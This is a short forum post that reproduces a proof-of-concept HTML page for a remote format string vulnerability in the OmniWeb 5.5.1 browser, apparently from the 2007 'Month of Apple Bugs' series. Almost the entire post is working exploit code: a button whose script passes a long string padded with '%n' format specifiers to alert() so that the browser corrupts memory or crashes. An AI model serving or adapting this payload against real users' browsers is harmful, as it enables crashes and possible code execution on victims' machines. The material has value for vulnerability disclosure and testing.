OmniWeb 5.5.1 Javascript alert() Remote Format String PoC
<p>[code]</p><pre><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN""[url]http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">[/url]
<html>
<head>
<title>MOAB-07-01-2007</title>
<script>
/* LMH */
function boom() {
var str = 'A';
while (str.length <= 32) str+=str;
str = str + '%n%n%n%n%n%n';
alert(str);
}
</script>
</head>
<body>
<input type="button" onclick="boom();" value="Test MOAB-07-01-2007" />
</body>
</html>
</pre><p>[/code]</p>
页:
[1]